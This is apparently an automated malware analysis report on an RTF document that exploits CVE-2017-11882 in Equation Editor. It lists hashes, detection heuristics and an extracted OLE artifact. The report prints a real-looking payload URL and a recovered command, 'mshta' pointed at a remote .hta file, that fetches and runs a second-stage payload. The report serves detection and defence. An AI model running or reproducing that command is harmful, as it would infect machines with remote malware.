RTF malware analysis — malicious · b05ca37ad6339c36

MALICIOUS

RTF

8.4 KB Authoring application: Riched20 6.3.9600 First seen: 2019-05-16

MD5: 217644f5eb50fc0b8be098cbe3875a22 SHA-1: ab0b0d0d4d16690bb559704a716203e58506143b SHA-256: b05ca37ad6339c364fa37a9a1bbc1bb5f7acf191882310c702813b55d1d5e339

382 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains an embedded Equation Editor OLE object that exploits CVE-2017-11882. This vulnerability allows for arbitrary code execution when the object is activated, likely leading to the download and execution of a second-stage payload from the provided URL. The ClamAV detection further confirms the malicious nature of this exploit.

Heuristics 9

Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR

Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882

Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
ClamAV: Rtf.Exploit.CVE_2017_11882-6584355-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Rtf.Exploit.CVE_2017_11882-6584355-1
Equation Editor object class critical RTF_OBJCLASS_EQUATION

Object class 'equation.3' references Equation Editor
Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
\objupdate forces OLE activation high RTF_OBJUPDATE

RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
OLE object data medium RTF_OBJDATA

RTF contains 1 \objdata section(s) — embedded OLE objects
Embedded OLE object medium RTF_OBJEMB

RTF contains \objemb — embedded OLE object
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL https://s3.amazonaws.com/icee/ZbYY.hta In RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off000000fe.bin`	rtf-objdata-decoded	RTF \objdata at offset 0xFE	3546 bytes
SHA-256: `b66b5c07f0e28f8e55300745ad2b3585acf10900866164c1dd2462d83a3c140b`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered URL(s): https://s3.amazonaws.com/icee/ZbYY.hta Static shellcode analysis recovered command string(s): mshta https://s3.amazonaws.com/icee/ZbYY.hta

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